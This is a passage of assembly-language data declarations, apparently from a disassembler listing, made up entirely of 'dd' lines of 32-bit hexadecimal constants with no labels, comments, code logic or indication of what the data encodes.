		dd 0A0789077h, 15368809h, 28DD7050h, 2C328A0Fh,	3F30F957h
		dd 5537202Fh, 0B766AC00h, 0B1F22F2h, 319D8B58h,	0BB040DF8h
		dd 369C1135h, 0C9D30BBCh, 0C4C5D892h, 0F167BD00h, 6D813BF4h
		dd 8C124B23h, 39EA60F0h, 40B20601h, 2958D31h, 0C14A9663h
		dd 18647A9Bh, 9AFA5F8Bh, 0C11AC872h, 0C0DDCB47h, 0C162F979h
		dd 42D8DD8h, 1F63F250h,	0AADF1651h, 25E51D00h, 122FF8A3h
		dd 0FA8E0F98h, 0B641398Ah, 0A526B161h, 825E1CF0h, 0A4FFEE40h
		dd 0BD29097Ah, 905C078Dh, 0F4810FE2h, 23B3898Eh, 0D3F26C5Ch
		dd 0EE2850CDh, 805DDE97h, 96B23853h, 0BF015250h, 410475A7h
		dd 6ABA310Fh, 1260BA4Fh, 152DA5Ch, 632CE645h, 6BAD3158h
		dd 0A1E0B112h, 0BAB98805h, 0E236F00h, 9661C9B0h, 0FADA4D8Bh
		dd 0BAE48ECFh, 4B73B803h, 0C0FE64EBh, 55D29C9Bh, 0A68EBD00h
		dd 0AAF08318h, 0ECA3AEB1h, 0E2024AE5h, 669AD349h, 2AE11B80h
		dd 0D802DCF9h, 62939133h, 40A55657h, 0C21B7A38h, 9FB3F000h
		dd 8B827D30h, 0D1BA09E1h, 2556CD5Dh, 71195F67h,	3F3E447Ah
		dd 45001D23h, 0CA120967h, 268D09CEh, 7871062Fh,	54E4F892h
		dd 0B600BD8h, 0F490E5BDh, 0F912E981h, 4EB96165h, 8C1BECh
		dd 0FD426C8Fh, 0ECCC53Eh, 0FC1CA8BEh, 70DEE989h, 70BBBB88h
		dd 0F60F6CA3h, 0C5421D9Fh, 0D0B2527Fh, 5D1C9E00h, 367D3CAAh
		dd 1E87F000h, 865EF87Ch, 0C18B2D5Fh, 610326C4h,	2A3F103Dh
		dd 36ABF8B7h, 0E7694A66h, 879A4A3Eh, 0CE80682h,	1F9DF320h
		dd 34C8002Dh, 5B968DBEh, 5F2AFA47h, 0F8F04550h,	44AB3C00h
		dd 0C475CF19h, 0C8994AEDh, 6A71F243h, 0DC8D769Fh, 4F01FBF8h
		dd 0D7808489h, 0FD2E6AB1h, 0E7B7B82Ah, 8808C420h, 82021C95h
		dd 0B4624834h, 6F9E81BBh, 0D4372CBEh, 0DAC975A0h, 5F1B3D09h
		dd 65151F3h, 843A32EDh,	872AAF00h, 926D7638h, 0D80E1ED5h
		dd 0EF840425h, 4B09BCBAh, 2C016BBEh, 0C6E006ECh, 1ED48A5h
		dd 573E7FD5h, 2BB1E5A1h, 1C9F8120h, 0B0AC0E8Ch,	0E0C05352h
		dd 1B24A1B4h, 66BBC401h, 109FD304h, 11CB353Bh, 0E64EECFDh
		dd 0C08AE0CBh, 0D0F09B6Ah, 9C015C27h, 0D13D28CAh, 48D6549Eh
		dd 0F3BD8905h, 5B25AE28h, 3A971AE6h, 61F1CD0Fh,	0F4A5CAF3h
		dd 551226E3h, 0C0B8F6A9h, 220D8E4Bh, 7B90B563h,	0EA043775h
		dd 904EA4A5h, 9867A4EBh, 0E995010Ch, 308BB72Ah,	6AC5B9BDh
		dd 80006002h, 5061E9EEh, 2A9D73BFh, 0BEBF6252h,	36D436Ah
		dd 693E39B0h, 642734BBh, 5F570001h, 0D1525DFh, 0F900614Ah
		dd 3FD32499h, 4FE105B7h, 10C20CECh, 0BD100389h,	0E9093399h
		dd 0F5710E9Eh, 0BE7962h, 1119D03h, 298B3C96h, 0D86CC908h
		dd 0D295372Eh, 94706D95h, 0E0D98B2Dh, 0D3DCBE35h, 0F39AABD5h
		dd 9F3DF6C0h, 9B1633DAh, 55048C6Bh, 77B9F9BFh, 0F8C78082h
		dd 8BC24B5Ch, 69095CFBh
		dd 0D40CC877h, 0FED51442h, 4000EB1Bh, 2BB71025h, 1754B59Dh
		dd 0FF506A93h, 27412DD9h, 5301132Bh, 0E0FBB649h, 320D1A7h
		dd 0AE6B6D99h, 0C19D8610h, 2B04E1F5h, 27225A8Ah, 9DDF6050h
		dd 4661E40h, 612037B8h,	6D4298B0h, 29A89400h, 428C2A12h
		dd 807109DDh, 8798CE9Ch, 6E0249C0h, 6F56BE2Fh, 7A0957CFh
		dd 87003CF1h, 948130D3h, 6411006Ch, 31B7BB23h, 9A028212h
		dd 8A71E421h, 0D9FFE1F9h, 1BADF454h, 2419ACD8h,	27075682h
		dd 298207D9h, 57104585h, 95897030h, 201F2121h, 2CE920BBh
		dd 0BB0E8095h, 4B07ED99h, 600F8011h, 17B087B0h,	2B614809h
		dd 72FD50C8h, 0D18B3135h, 1180552h, 4E5382E9h, 5269E621h
		dd 0C84A8C85h, 0AEC8F80Dh, 355FA804h, 0E320EB91h, 9393C9Eh
		dd 722E337Fh, 701A5E13h, 96724022h, 0C7183259h,	3A15E9B5h
		dd 0DC8B300Fh, 3FF8D8Ch, 5A419009h, 21EFB621h, 0A1F81722h
		dd 2328FFA4h, 0FE1A1DA5h, 9F8DD8Ah, 0FBCC826Bh,	566BE2A3h
		dd 35C7C21Bh, 0C0A46D0Bh, 0DC088F05h, 0DCEE9AD3h, 0AB035863h
		dd 0B4BA450h, 0F8D4A0FBh, 0C03F0146h, 92B06C45h, 0DBEC3F3Ah
		dd 76CDBFCEh, 896E2F8Ch, 78EAA002h, 61F6D75Ah, 2A5D9C40h
		dd 63FE1C6Dh, 0DC440532h, 837DBC8Bh, 0B8DB815Fh, 97786842h
		dd 0D7E0591Bh, 1D04D92Ch, 0F5EB973h, 0EAB964EFh, 0BA59A400h
		dd 1AE799h, 0AFEE225h, 0E6C9091Ch, 201B812h, 7D583FE1h
		dd 0C59D2F89h, 0FDB3148Fh, 21B83Bh, 0D442BF49h,	860F5952h
		dd 0FB483896h, 24C52640h, 2A2C0BBFh, 66566086h,	1746D4h
		dd 98D741ACh, 275BEB80h, 357DD22Bh, 40DA9CADh, 190FB360h
		dd 0B481730h, 5E220BAFh, 95AF6429h, 988D8CB6h, 66F28562h
		dd 237D4C6Fh, 0F0670600h, 540A26EEh, 0C0446402h, 7F1A92D0h
		dd 0C858735Bh, 0B5E2DD9h, 0B2952F50h, 0DC9AFEB9h, 7AC14604h
		dd 0D3B980DAh, 128C1BACh, 0FE0C2B82h, 0E0C58294h, 0A958C3EDh
		dd 0E7323512h, 0ADF04ADDh, 0BD1D9729h, 0E1B5F5A5h, 70799902h
		dd 0DC0274DEh, 3F1F9F01h, 3E3CBD63h, 282BDE35h,	0FC9761D6h
		dd 5E00F423h, 0B6E4D4B0h, 1227B318h, 37D88B4Eh,	0B8BEA4A9h
		dd 4802D3F5h, 0FBE1FF97h, 0BCAE7009h, 0DEDF007h, 822BB592h
		dd 9336548h, 0E742FA59h, 0F4092904h, 0F244FA59h, 0E18D4953h
		dd 6D2BEA58h, 61252819h, 7B7EA4FBh, 0A9EA0280h,	4D60FE8Ah
		dd 6ABCE07Bh, 8D14EFEDh, 91E880Fh, 7899DB80h, 0E081AD13h
		dd 793A17E9h, 0B2741309h, 96687F49h, 23F21610h,	0C68B2900h
		dd 4CFD58CFh, 0A3890094h, 2E54243Ch, 6A39BF34h,	5F6F12C8h
		dd 6E2A54F1h, 0DF460009h, 0CA480CC2h, 21BB0EECh, 0F41237C1h
		dd 1435B54h, 0C93019E2h, 2CCBF288h, 9357F3Fh, 557B1D49h
		dd 0B909B8A4h, 17C4DD05h, 1FDB41B7h, 6C8B9D6Bh,	38863C4Ch
		dd 6C52AE50h, 0EA613D60h, 36EB00AFh, 296570A6h,	8C4E4255h
		dd 0B902153h, 24AFDF81h, 0F4C06AA2h, 6B8E6800h,	0CDCCF251h
		dd 549560E5h, 2051AEEh,	80B07C9Dh, 0D4D153FDh, 591C8C97h
		dd 81C0D758h, 33514DE3h, 14E12C9Dh, 0F16880FBh,	8AF080BCh
		dd 0C6E4FC5Ah, 0F9E2D47h, 910792B7h, 545B1623h,	0C49DC7F8h
		dd 0B4E2AC2Bh, 17846AFFh, 2FF3606Ch, 1364232Eh,	72CCEB1Dh
		dd 0CC8F0089h, 94F39058h, 2D01C2C6h, 31CE6B4Dh,	46A5995h
		dd 0E86158DCh, 0C0D9583Bh, 0C444A809h, 481F0052h, 0D7B183E7h
		dd 9009FEC8h, 5E071AF9h, 0DE8AC0B1h, 4A8AD8E9h,	6BCF5C3Fh
		dd 1997EBF0h, 55FD29ADh, 0E115527Fh, 93DE3AA1h,	0D6F4C680h
		dd 4D2D9D23h, 69F77134h, 0B451387Bh, 43FC5C8h, 6B5A1489h
		dd 593822Dh, 516562Bh, 0A3895383h, 0E65B009Eh, 0CBEDCEEAh
		dd 0C8DD0F43h, 8944E444h, 0BBE0BF8Dh, 0BBBA975Bh, 85600C6Dh
		dd 0F65E28h, 201DC5C9h,	27359D29h, 38B3E495h, 34CF6096h
		dd 0D7C307E4h, 48B84161h, 0C770D6D9h, 96F2E81Bh, 98BCD41Eh
		dd 0BC7FB993h, 93070079h, 78844F68h, 2FE7B741h,	87B0AC03h
		dd 95E6CC67h, 75E073E3h, 341C9CE6h, 8C9211F2h, 7B2ACBF1h
		dd 761B0074h, 0DB4ADFBEh, 0B7901308h, 9702285h,	0D5E38920h
		dd 557D0515h, 0CC57Eh, 5A3DB7A9h, 0EDB79058h, 0A359C0B9h
		dd 0BE07E58Ch, 0B3698F4Ch, 0DBB70FB1h, 6B961032h, 38350085h
		dd 0AD42E34h, 20DFB88Ah, 5996191Dh, 0F6BCC40h, 95047261h
		dd 7C1196Dh, 1C25879Ch,	2AF13D2Eh, 0D58014DAh, 4CAE2FDEh
		dd 9C21F02h, 5712399Dh,	5470E59Ch, 0DEDBD49Dh, 7DE4710Eh
		dd 0BB87A22Eh, 0E5AD55Bh, 155B79Fh, 9D5532B6h, 844D0341h
		dd 0E11A24AAh, 0E86B2E3Ch, 4D3016E2h, 0C2B95ADAh, 28510E29h
		dd 1F578562h, 0F8801C91h, 0D81747AEh, 2C2FE0FCh, 0A0B61355h
		dd 0BCC6D60h, 0A0B94136h, 0CA03C302h, 0D0F83157h, 36FE792Fh
		dd 395CB113h, 92287F0h,	0EF47EA2h, 0B389E751h, 9201D1F6h
		dd 0A914F2F9h, 475D56Fh, 0AF20F1EBh, 0C104CF74h, 0B31304F9h
		dd 3017F2A7h, 9F05F369h, 1DB58970h, 1A9F29AAh, 7CE2C060h
		dd 95F58DDCh, 1964E7EDh, 0E6402C60h, 0CC5CB139h, 0D3B04244h
		dd 0B0A04CA6h, 0CC046A15h, 396BD6A5h, 0F5C9C3BCh, 0FB169D7Bh
		dd 15AC72BDh, 4E46048Ch, 0BCFCF88Bh, 0BD0B0B8Eh, 5CE742D9h
		dd 0CE532F8Bh, 24DD270h, 8B2CE3EAh, 7BF4F99Dh, 10C5BD85h
		dd 2F6A2DAFh, 378078DAh, 386FC910h, 855A0E65h, 0A0B83394h
		dd 0A9B08D6h, 5F566080h, 4BC58D29h, 93A3C907h, 9256893Ch
		dd 0AADCACh, 0C2A5C05Fh, 0BEB5E78Ah, 0E1306B90h, 7B1269BFh
		dd 17F170B9h, 900A202Eh, 0BB011366h, 0E3CEC8C7h, 0F960A3B0h
		dd 469A9D60h, 61F73882h, 41AF175Eh, 0B93ADA56h,	784F00A2h
		dd 0A2A307C9h, 1C87E4B5h, 935B6160h, 0B26F96h, 897247A3h
		dd 8028F98Dh, 3109DF81h, 7650B40Eh, 33C5E29Bh, 80E1C75Eh
		dd 282FDBDFh, 37E140C2h, 2780B083h, 6BAC0E75h, 4B3EF52Fh
		dd 0B4446096h, 4787CF07h, 0DA016866h, 3E843Eh, 3AF23F5Bh
		dd 50166116h, 6CECD5B7h, 10A7AD2h, 0B1D146F2h, 0A870ABD5h
		dd 815700FEh, 172BD3E3h, 9A975F6Eh, 251457D0h, 11A5C99Dh
		dd 6C61F801h, 0BA3A80F5h, 0E35747Ch, 0DB1B7972h, 18800D40h
		dd 0FDE2A84Dh, 0EE959C25h, 1535BDDCh, 0A8A3D503h, 5E48BA2Eh
		dd 0ABF752BAh, 70925368h, 0BB1266CCh, 2DBDA30Dh, 0A9C3FDD3h
		dd 8C91536Fh, 780006A1h, 0A41EBF46h, 3268BC9h, 3ED15D0Dh
		dd 4FD104B1h, 5FDFEC18h, 59B7C65Ah, 0BCA420B3h,	0A8A6F4FDh
		dd 2039B6A1h, 0CF13E7A3h, 7CECA5F3h, 0E9701120h, 0CAFFF238h
		dd 0B800B3E2h, 9FEC10F4h, 29E075F3h, 5DB4BD4Ah,	0C18B255Bh
		dd 2994CAE6h, 4642BF01h, 202C70C5h, 8E92DF27h, 159CF9DCh
		dd 43BBC82Ah, 13B48C78h, 0A2AE17BDh, 31010E31h,	1EF14134h
		dd 0C4F428A6h, 97D18E1h, 0CEFFA8A8h, 0ACF42C4Fh, 0B6054AC0h
		dd 0CC99E0E6h, 43FFE82h, 0FAE780BEh, 3FACCD50h,	8D0951FCh
		dd 4FE2988Ah, 0E7170D79h, 5578D71Ah, 980BAF37h,	997E8564h
		dd 0F9CC56BBh, 1D1BCF6h, 532865Ch, 6A7C9D3Eh, 0BD8D4160h
		dd 76D4B506h, 40A3FCCBh, 0CCEAAC3Eh, 0CEA42502h, 0A05F5EB3h
		dd 8AAFA30Fh, 629614A2h, 0B110F982h, 0E65B2520h, 860F2F5Bh
		dd 0DF1E10E6h, 85D6D1FFh, 7B316030h, 0CA164B86h, 25AB3548h
		dd 0A4E0E7F6h, 63163BAEh, 0C16F026Ah, 732D6000h, 0E5DA614Dh
		dd 0CAF13898h, 800012DDh, 0ECB75387h, 0BF4F9E5Bh, 80C8DBDEh
		dd 0F992C93Dh, 0FDFFA034h
		dd 0CDBB8017h, 405B10FAh, 1BB244F6h, 76C1D530h,	9F1EA6Fh
		dd 8EE90B78h, 9C29079h,	8D3102CFh, 0D3C94A55h, 50517022h
		dd 1188EA24h, 5C1A450Bh, 7D44E9F7h, 49C28A03h, 0D8626758h
		dd 95C7FEh, 6C80A1F8h, 0F4A5BA5Dh, 5026CF13h, 0D8E098EAh
		dd 8AEB3D9Dh, 9B96982h,	355E28EDh, 0D4A57472h, 735C4A24h
		dd 97BAF700h, 1376EF81h, 12F7D77h, 5DBBBD10h, 23DE6B0Ch
		dd 4BA8C15Dh, 9D89C213h, 5A6A80A4h, 0E068B6FFh,	0B88BF97Eh
		dd 0E9DC9DAEh, 23511596h, 4C3FAC29h, 0BCF1FBDh,	0D432CF60h
		dd 0E69E367Eh, 4D4A0140h, 5BEE2752h, 1945194Ch,	0F47DD502h
		dd 0D8BB8358h, 0C86B08Eh, 8B40A004h, 0F6B0E6FAh, 532040A1h
		dd 71203F90h, 0F05B4A09h, 17F1871Dh, 5CFC8F65h,	0FD7AF8C9h
		dd 9A09DE44h, 0FD139758h, 0FB257A70h, 2F6E44Dh,	66FDF780h
		dd 5609F88Bh, 8D296023h, 93970EDDh, 0D92825FCh,	0B5FBFAE3h
		dd 12C0E8B4h, 99BCC82Bh, 473B4280h, 0F4E6851Ah,	5F002175h
		dd 0ABC17978h, 2F0960CBh, 7387758Dh, 4B996501h,	99F8618Eh
		dd 0DE9DB990h, 33EBA00Ah, 0BB0F0185h, 2FB4E7F8h, 2B13059Dh
		dd 0AA48E5AAh, 0F94EAF12h, 2B270592h, 0DE6980C0h, 0EA54E850h
		dd 0F42B6A00h, 29F21C25h, 0EDD20FA4h, 0BE272EE7h, 0A9859353h
		dd 5B5F0184h, 3BA530E9h, 0C5B512E6h, 38891986h,	0A293A17h
		dd 86896Bh, 0C1853168h,	86F20E5Ah, 0C0452584h, 0A5BD2368h
		dd 0C503242h, 0BA295A7Dh, 9A3FDB29h, 0AAC781DDh, 58732BBEh
		dd 0D82E7000h, 0D07E66C5h, 6FECC000h, 0D4AD6905h, 0E89BE6BFh
		dd 0B8D8FF58h, 0C8B91224h, 0A068F70Eh, 25DE65BFh, 5990523Fh
		dd 0F300AB69h, 6959DC1h, 4A7E096Bh, 907EC11h, 785BCC98h
		dd 7856B3E8h, 0FC4A7E61h, 2B064EB3h, 2708E9C0h,	547BC00h
		dd 0BAF48AF1h, 0BCD2FE76h, 87C7250Eh, 810960A4h, 21EDF70Fh
		dd 612AB9E0h, 9A9502D9h, 820DA1Ah, 0D44E0F60h, 53880D2Dh
		dd 0DECCD88Ch, 58838004h, 0E084FC51h, 99489CE3h, 0BC20D112h
		dd 7AADB518h, 0C9000FA8h, 3518A3Ch, 4BB36F0Ah, 0EF5020ECh
		dd 3000A294h, 0E091CE86h, 1AC393h, 6BD0AF09h, 27F4963h
		dd 49FC54B7h, 1718902h,	7FBC5B04h, 0C0435ABDh, 0D45C5FDEh
		dd 0AD9D1733h, 3AD79812h, 44F47C09h, 46697950h,	37972556h
		dd 0B80200BBh, 314A469Dh, 2E4B82B0h, 0FE507AA6h, 0F7134A15h
		dd 9D167C62h, 0CDBD0D49h, 0B71F884Ah, 34900301h, 0C49262C6h
		dd 1BC0FD8h, 0F18ADC43h, 2F373901h, 8A505E28h, 0FD525B5Ch
		dd 4B5E72A9h, 467409DCh, 6F79F2F3h, 0B34BFC46h,	0E0C77880h
		dd 2B05E898h, 604BB87Ch, 7212246Bh, 5680C199h, 6C172F6Eh
		dd 450071B2h, 0C2F1CD20h, 0A0003EDEh, 1DF5C71Eh, 254269D0h
		dd 41E2E9D8h, 7E70E05Bh, 0FF15259Fh, 11239E8h, 0B56F6EE1h
		dd 7F905404h, 0D36FACF9h, 23E3EA12h, 7A72BF3Ah,	3B63B516h
		dd 28946AC1h, 0B6026FEh, 1528FA25h, 0D81D8D89h,	81796125h
		dd 56135047h, 0BB248C5Fh, 28E4E41Dh, 53FC8816h,	0FE304AA0h
		dd 0C71C4806h, 95378913h, 0D98A9200h, 0B107310Fh, 61585A47h
		dd 0CDEAA2Ah, 334E99F3h, 0FB8A95C0h, 69CDA7E9h,	0E4E0FD49h
		dd 0CD9589A6h, 62144445h, 0E9CB82DCh, 2CCCF619h, 1236047h
		dd 0AF00E47Bh, 9E46A905h, 16FDABA3h, 4332E2Dh, 103485FBh
		dd 0F0C44ABBh, 0F03AF6FEh, 1D1F7ACh, 3C288310h,	248B917Bh
		dd 2F400102h, 6D851103h, 20894B02h, 22B6F6Fh, 0D4807909h
		dd 693A5E74h, 0DE705453h, 31A3046Ch, 0BCDAFD86h, 7FB9D638h
		dd 0D7A499C9h, 0D0E6FF89h, 498D10E7h, 8F1206F1h, 7502E803h
		dd 7423D59Dh, 8151E4E9h, 7D044625h, 1FD0B87Fh, 8052B355h
		dd 890FE6A6h, 0E6BCD95h, 0EA410BD9h, 137DF2Ah, 0E4DDED1Fh
		dd 18A2454Fh, 4B5BFE52h, 813CCCF5h, 0EF98F704h,	0A3FB581Fh
		dd 92CF005Dh, 89115368h, 566027FEh, 70178410h, 1CA08C00h
		dd 0A9B294BFh, 796700B5h, 34EE6E46h, 98126D74h,	84F55BA2h
		dd 0ACF6042Fh, 0E93984F2h, 3E75B8E2h, 89099F07h, 4878DA93h
		dd 60494F97h, 19271494h, 0D30ECA97h, 0EC377167h, 19127CF5h
		dd 2F022A17h, 0DD11299Dh, 1491B5B7h, 81619584h,	2B101D40h
		dd 6358EFCFh, 0E317D912h, 0A73F88DCh, 0DFA230DDh, 0E9091CE4h
		dd 4B7E254Ah, 0F56002F4h, 0E8750940h, 59012471h, 5E3A6A93h
		dd 5F53097Ah, 25DDC771h, 3BD68C56h, 8A4BBBFEh, 0E9F922C2h
		dd 976C23Fh, 0E56BD29Eh, 0C0C3CD29h, 8C52AB02h,	31F20A04h
		dd 56D4A5BDh, 0D87F3FB1h, 0FE881208h, 0B0B30E13h, 6440FA53h
		dd 154D5F55h, 18ADE51Fh, 71A44E09h, 0D710A5A7h,	5A0011EAh
		dd 5F61B8C6h, 26BBFF9h,	0CEE1D7D0h, 0B5C7A3Ah, 0F6775C25h
		dd 0F5D2E22Eh, 12EB7625h, 0D37ABD5Fh, 8324C36Bh, 262108A2h
		dd 37B75303h, 0FFBBE85Bh, 7C2A26A5h, 0B57FADB4h, 0EAE6AD14h
		dd 8B16EB02h, 0CC820FDEh, 3A9254Ch, 14E4B96Dh, 9D31CF60h
		dd 7926A92Dh, 906D69D3h, 98CB8242h, 0BE3BEFh, 4EFAF44Ah
		dd 7E99030Eh, 857C2101h, 5371F949h, 7351CE9Ah, 0C42BED55h
		dd 45C06115h, 464C2728h, 851D1404h, 7DD8AB27h, 20B125BDh
		dd 9D42A779h, 2528F60Dh, 228172B8h, 0A65FE4B5h,	0DB0007Ch
		dd 7EF37237h, 70005CDBh, 0A8BF401Bh, 7D800A2Ah,	589977Fh
		dd 60DCCF76h, 82BE0640h, 922FFD8Eh, 0FBCBF885h,	0B1303C21h
		dd 0EFFE8A10h, 83B7CD40h, 0A57C0141h, 90C68246h, 83F62A91h
		dd 0D7311AB2h, 1B33EC8h, 662A080Dh, 2FB210BFh, 1CED1813h
		dd 3F1CF5ECh, 0A540DFF9h, 0DE7DD447h, 0BC9F90B7h, 9E90DE83h
		dd 0F5E89801h, 1001BD2Bh, 0D518607Fh, 6A00967Ah, 5ED03CCFh
		dd 272E24EEh, 3B50D88Bh, 69A9FD4Bh, 5EA22BEDh, 2FD66F2Ah
		dd 6689E70Ch, 80323D55h, 0FED8A50h, 723CBE33h, 90562DF4h
		dd 0FAC4539Bh, 5167045Dh, 80B8BC36h, 23EB05Fh, 39A8404Bh
		dd 808C9AD2h, 0C82303F8h, 950B1C60h, 0FA28530Dh, 0E56A188h
		dd 0D9F26C1Fh, 41D02500h, 0E4005293h, 85BE7C24h, 7A4D8363h
		dd 0F685BF61h, 89B3675Fh, 0DECABA57h, 1EFAD4DCh, 0F98BE316h
		dd 29006EE2h, 56DD1992h, 0FF023C0Ch, 28C5D26Ch,	51A25E9Eh
		dd 0AB7B7B77h, 8EE42C02h, 0D6696AFh, 26E5C400h,	71C66537h
		dd 0DCB83F5Bh, 7E93A098h, 0A75A559Ch, 650220BFh, 0CC00519Dh
		dd 0F49A077Ah, 1A3AA0Ah, 4CCFFAD7h, 6696BFCEh, 5E8FF0E8h
		dd 76E213h, 95BB66A6h, 0DCD78057h, 7AEFC3A2h, 1B2A3BC0h
		dd 0B5B89892h, 1A6411EDh, 4500FB64h, 86A3CB0Dh,	29BD1703h
		dd 0D93E221Ah, 57DA0131h, 0B5AF0047h, 0D6302DAh, 0D95E5C38h
		dd 57121451h, 68C510C1h, 0E65F25B2h, 0DD8A25C1h, 2FFC89E1h
		dd 6A2E6C3Dh, 81D13894h, 8DEF80AAh, 122F8FE9h, 8043DB64h
		dd 0DE5D28EAh, 4F730027h, 95892CF1h, 0C1881749h, 0E1CB2780h
		dd 0ED9539D8h, 601A644Ah, 5D96277h, 8E095B10h, 0EE3B250h
		dd 0E0C697BEh, 0AF07C51Bh, 78920F0Eh, 0ECA005B2h, 0D7D1544Dh
		dd 1A285490h, 425DC34h,	702FFB24h, 0FC04297Ah, 4CC5BEBCh
		dd 77E4690Bh, 9CF604Dh,	7461E9B2h, 0F205F478h, 3ACBFE05h
		dd 0DFCF9C01h, 6E88062Ch, 0C2250F35h, 6951CCh, 0CA2C5F2Eh
		dd 0BB0761D8h, 35A2D53Bh, 525090A1h, 0AF002233h, 5624D6B4h
		dd 0B2008B85h, 6EEF3886h, 16D1EEF5h, 0EEF12AA9h, 0CB079BC1h
		dd 6A905001h, 45061A6Eh, 3E8962C7h, 3CE4FB8Dh, 0F393C380h
		dd 0FC7413A9h, 0F075B66Ah
		dd 9582B3D2h, 74A5E87Bh, 5300D459h, 0FA5D2C28h,	4E6FB3Dh
		dd 398D290Ah, 3672BA18h, 607B7C50h, 0DCBB2A5Bh,	0E3748217h
		dd 0BBA49AE8h, 5F61AF31h, 86F1042Fh, 12605404h,	0F0F25E6Eh
		dd 0B3738B89h, 1D98FD8h, 0D7905C7Bh, 29026AA1h,	4EAFB8D3h
		dd 2D3DA8A0h, 8814F710h, 0CF17DB12h, 524C4CAFh,	5B27F80Ah
		dd 0CFDB9050h, 19AF22Bh, 2A8202E0h, 6FC0589Ch, 0DA0154A9h
		dd 90855491h, 0FE408260h, 7F5D9523h, 0CF80AB21h, 4C8C7659h
		dd 0D16E2DDFh, 85D9C455h, 0A7E6ABACh, 0FBDB3BE0h, 7101D425h
		dd 0C7EAB0CAh, 0AC23388h, 5E0439EFh, 89168D5h, 0A22D12A5h
		dd 7477657Ah, 9CCCA587h, 0EA97109Dh, 3A38000Bh,	77B0B704h
		dd 0E5B550A4h, 0DF3527B1h, 0DB05D813h, 0E2BE321Dh, 0AC8B917Bh
		dd 79AC0A43h, 180E60Dh,	6A5004CFh, 0E70E85FFh, 0B9818972h
		dd 0FD6B1D45h, 992BCB8h, 2C3DBD31h, 4A518A74h, 0D3B1BB10h
		dd 0B0105F16h, 0C8003FB8h, 0E65C5AD9h, 0BD4B2B70h, 71E424D1h
		dd 97678C7Bh, 0FAEDB700h, 7F83B52Dh, 639F259Ch,	821A66E9h
		dd 65BD8B61h, 25E75A0Ch, 6CE4263Dh, 0E5BDFBA6h,	7A003F62h
		dd 4C85D132h, 98BFBA3Ch, 0D333FDB5h, 0AE9A1247h, 9550E567h
		dd 25A4AAh, 0D183C78Ch,	5AB3DDE4h, 66EE3011h, 4BA32850h
		dd 9A89C66Fh, 3A0BD920h, 55C8C82Bh, 0C1D15B40h,	0E901C12Eh
		dd 0F6789AEh, 20EC128Eh, 0DBE2F03Eh, 0C1AA0060h, 5B3D9AF6h
		dd 350EB4A4h, 451780B2h, 60C41CEBh, 8A425789h, 356C6C9h
		dd 20AABF07h, 10636634h, 0CCA1BD22h, 17FACCABh,	4F9D0388h
		dd 33480121h, 5231F9BDh, 59795AF0h, 0C4B10912h,	0F17E342Eh
		dd 4DCD6B29h, 6F806828h, 9F3EF773h, 2529D50Eh, 55ACA7FFh
		dd 0D7E280A2h, 0B990C894h, 0CD033728h, 0E525E925h, 4B011F9Fh
		dd 0C55E3471h, 2907FA0h, 0C6543009h, 4A27B0Ah, 0FF2C53EDh
		dd 205BAF6Fh, 0D88EB797h, 0F6AA50Ah, 52033C8Ch,	0DD5FFC8Ah
		dd 0C8F044A6h, 48123ABFh, 72BA1096h, 60250B6Ah,	0E11B905h
		dd 0F20A9AADh, 38F8B961h, 0C7B4DB4Fh, 3AC536A9h, 123B1AEh
		dd 111E51BBh, 5429FCE1h, 95008FB8h, 2C52CF0h, 92B33035h
		dd 0E3FCE8AFh, 22B6E2Fh, 14C45685h, 2F3E7017h, 0D2589F01h
		dd 0B8C0D41Ch, 604C4F25h, 7BB65912h, 9529B31Ch,	60BA1952h
		dd 798589AFh, 30BB0C5Ah, 0D4CA80AAh, 82B7F600h,	0B19A328Dh
		dd 271C02A8h, 3F64ED11h, 0BA77C384h, 0DA3EA16Dh, 568C8277h
		dd 0B57E41BDh, 0F00BFC64h, 0A6204BC9h, 0AC293D75h, 0BB419235h
		dd 747AB208h, 2A6AAE97h, 0C0B19D17h, 8A56F515h,	54A6DD4Bh
		dd 0D1E5DA25h, 4061CDE9h, 63D5B97Ch, 1B5C29Fh, 17119D39h
		dd 220C8E6Eh, 97E29D89h, 1B9113B5h, 9793F480h, 0BF13E945h
		dd 7D09079Bh, 0ADCA79DFh, 46CFDFCDh, 0C802830h,	5095EF25h
		dd 0B69A1DE2h, 495EEF95h, 0D5733D80h, 9F9845A5h, 0D1252B79h
		dd 0C65ED111h, 0B7BF5F47h, 488F00A7h, 5B4F7DF7h, 45C0AE27h
		dd 53321A23h, 0E525F9DCh, 2EC0C07h, 0E30E8121h,	3D60DC44h
		dd 2BC4B9C4h, 7E8023BCh, 9F5F17B4h, 61C8CC12h, 193CD9F1h
		dd 10282F87h, 0ADB8322Bh, 0A15E2D07h, 0D81B2EAEh, 2E0241C4h
		dd 0FB52DB1Eh, 5AE3BEF5h, 0AC6E41h, 0DC03236Ch,	9D415A4Ah
		dd 0B7094173h, 87C279FBh, 7475DDBBh, 0D047A025h, 9112784Eh
		dd 142014BCh, 698188DFh, 68555409h, 621501CCh, 13D53253h
		dd 0ABEA8155h, 5CEE0A02h, 702DC07h, 0DD1AAF73h,	0F032C1D9h
		dd 7883A32Eh, 4FADFA4Eh, 0C9792194h, 0FE5689A1h, 381B46D4h
		dd 5B8B4h, 0F3BEC291h, 0E1018DE9h, 0B82CAD7Ah, 0D6D83409h
		dd 5B8DB9C8h, 4B96FBBh,	6B771DB2h, 7A5F7ABDh, 0C90101C5h
		dd 0E6FAF6Eh, 0B2B5F63Ah, 767E301Ah, 13D21B58h,	2CE89D31h
		dd 0D02B7C87h, 55AB7B0Eh, 4D421C00h, 336F8A5Ah,	0D70051Eh
		dd 0B527DB77h, 98372EDEh, 0AAA08984h, 9572B26Dh, 156490CDh
		dd 607DB160h, 0F13C517Fh, 50C78008h, 0C5B86658h, 0A4615B64h
		dd 0FE27BF51h, 504D0596h, 0E893DEF8h, 59B0C06Ah, 98DBB04h
		dd 5F142D21h, 29BA027Dh, 5E710927h, 0EDBD0984h,	52689DD0h
		dd 57CB2F0Fh, 480F1C64h, 87B5C15Bh, 0D26FEF0Bh,	1745A807h
		dd 0AA43B2CFh, 78D40CADh, 0D9C7121Ah, 722CF328h, 40F62C8h
		dd 938EB750h, 0CE1660DEh, 12E961D0h, 18C1AACh, 0E53AFBF1h
		dd 2081B21Ch, 0EDD009B5h, 0D18D139Dh, 0DE2AD0A1h, 0C01CC8FBh
		dd 0FE9E1BF6h, 0FA6DAE01h, 830FE7ADh, 0DA250533h, 131951C5h
		dd 0E9FD8A1Fh, 0ABB3566Bh, 4AA5F698h, 0BEBEE319h, 0A58DB64Ah
		dd 0C67D9C00h, 2765BCD9h, 9689B7FDh, 0B4FFF59h,	0F452FE04h
